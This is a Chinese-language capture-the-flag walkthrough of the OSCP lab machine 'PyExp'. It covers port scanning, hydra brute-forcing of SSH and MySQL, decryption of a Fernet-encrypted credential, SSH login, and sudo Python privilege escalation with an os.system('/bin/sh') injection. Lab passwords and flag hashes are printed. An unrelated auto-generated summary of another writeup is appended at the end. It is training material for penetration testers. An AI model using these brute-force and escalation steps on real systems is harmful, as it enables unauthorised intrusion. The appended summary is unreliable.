OSCP系列靶场-Esay-PyExp保姆级

OSCP靶场系列-Esay-PyExp

总结

getwebshell : Mysql端点发现 → 暴力破解root密码 → 利用20w大字典爆破成功→ 进入数据库发现加密信息 → fernet解密得到账号密码 → ssh登录

提 权 思 路 : sudo特权文件发现 → python提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.203.118

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.203.118

PORT     STATE SERVICE
1337/tcp open  waste
3306/tcp open  mysql


开放的端口-→1337,3306

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p1337,3306 192.168.203.118

PORT     STATE SERVICE VERSION      
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2     
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1                   

信息收集-端口测试

1337-SSH端口的信息收集

1337-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.9p1

1337-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.203.118 -v -p 1337

显示publickeypassword就是支持密钥以及密码登录

1337-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.203.118 -p 1337
# 密码尝试
password → root


弱密码尝试失败

1337-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.118 ssh -s 1337

挂着工具进行爆破,我们尝试后续信息收集

3306-Mysql端口的信息收集

3306-Mysql端口的默认脆弱口令测试
# 尝试直接使用mysql协议进行root:root尝试(远程需-h)
mysql -h [目标IP] -u [用户名] -p [密码]
mysql -h 192.168.203.118 -uroot -proot

3306-Mysql端口的默认账号爆破测试
# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV 192.168.203.118  mysql

尝试爆破发现没有密码,陷入了僵局,决定上大字典

3306-Mysql端口的默认账号爆破测试
# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 -vV 192.168.203.118  mysql

大字典爆破了很久很久才发现了密码prettywoman

3306-Mysql端口登录

mysql -h 192.168.203.118 -uroot -pprettywoman

3306-Mysql端口的用户信息查找

主要查找登录的账号密码等信息

# 展示数据库
show databases;
# 使用需要查找的数据库
use data;
# 展示表
show tables;

# 寻找我们需要的表,通常名为user、admin
select * from fernet;

发现了加密的credkeyy

cred
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

通过百度发现表名已经给了提示,加密类型就是fernet
https://cryptography.io/en/latest/fernet/讲解了是如何加密的

# 加载
from cryptography.fernet import Fernet
# 这里输入key
key = Fernet.generate_key()
f = Fernet(key)
# 这里输入密钥
token = f.encrypt(b"my deep dark secret")
# 得到结果
f.decrypt(token)
b'my deep dark secret'
python3

from cryptography.fernet import Fernet
# 这里输入key(报错进行修改)
# key = Fernet.generate_key('UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=')
# 代码里是要生成一个key,这里是我们指定key
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
# 这里输入密钥(不对 不用加密)
# token = f.encrypt(b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=")
# 直接指定token进行解密
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
# 得到结果
f.decrypt(token)
# b'my deep dark secret'
b'lucy:wJ9`"Lemdv9[FEw-'

得到了账号和密码的信息

lucy:wJ9`"Lemdv9[FEw-

漏洞利用-getwebshell

获取账号密码之后利用SSH进行登录

sudo ssh lucy @192.168.203.118 -p1337
password → wJ9`"Lemdv9[FEw-

内网遨游-getshell

FLAG1获取

lucy @pyexp:~$ find / -name local.txt 2→/dev/null
/home/lucy/local.txt
lucy @pyexp:~$ cat /home/lucy/local.txt
ebae58ce8fe13bf90c1ac089200656c0

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
lucy @pyexp:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

lucy @pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
lucy @pyexp:~$ id
uid=1000(lucy) gid=1000(lucy) groups=1000(lucy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
lucy @pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py

权限提升

sudo权限提升之python

查看了一下可以sudo的文件,可以读

lucy @pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

会执行uinput的内容,执行之后可以在后面输入内容,因为是input

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

# 尝试在后面加上import os; os.system("/bin/sh")
lucy @pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")
# id
uid=0(root) gid=0(root) groups=0(root)

提权成功

FLAG2获取

# cat /root/proof.txt
419157ef0f5cab7409e0818499f4bda6

完结撒花~

后记

没想到的点:
数据库中可以通过load_file读取文件,用select load_file('/etc/passwd')

利用hyrda爆破大字典总觉得力不从心,查阅资源发现可以使用medusa进行爆破

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值